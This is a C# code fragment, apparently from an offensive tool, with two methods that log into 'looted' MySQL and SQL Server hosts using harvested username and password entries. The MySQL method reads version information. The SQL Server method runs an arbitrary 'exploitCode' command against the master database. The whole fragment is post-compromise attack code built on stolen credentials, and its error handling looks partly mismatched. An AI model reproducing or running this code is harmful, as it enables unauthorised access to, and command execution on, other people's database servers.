public void MySqlServerInformation() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); if (!string.IsNullOrEmpty(SelectedLootedServer)) { var split = SelectedLootedServer.Split(':'); var server = split[0]; var user = split[2]; var pass = split[3]; var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; var mysqlConn = new MySqlConnection(con.ToString()); try { const string addUserCmd = "SHOW GLOBAL VARIABLES LIKE '%version%';"; var cmd = new MySqlCommand(addUserCmd, mysqlConn); mysqlConn.Open(); var rdr = cmd.ExecuteReader(); _sqlServerInfo = string.Empty; var sqlInfo = new List <string>(); while (rdr.Read()) { sqlInfo.Add($"{Environment.NewLine}{rdr[1]}"); } rdr.Close(); mysqlConn.Close(); _sqlServerInfo = " Server Version: " + sqlInfo[3].Replace("\r\n", "") + " Innodb_Version: " + sqlInfo[0].Replace("\r\n", "") + " Platform: " + sqlInfo[6].Replace("\r\n", ""); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
public void SqlServerInformation() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var exploitCode = Command; if (!string.IsNullOrEmpty(SelectedLootedServer)) { var parcala = SelectedLootedServer.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(exploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); _sqlServerInfo = string.Empty; var sqlInfo = new List <string>(); while (rdr.Read()) { sqlInfo.Add($"{Environment.NewLine}{rdr[2]}"); } _sqlServerInfo = "Server IP: " + parcala[0] + " Server Version: " + sqlInfo[1].Replace("\r\n", ""); rdr.Close(); conn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }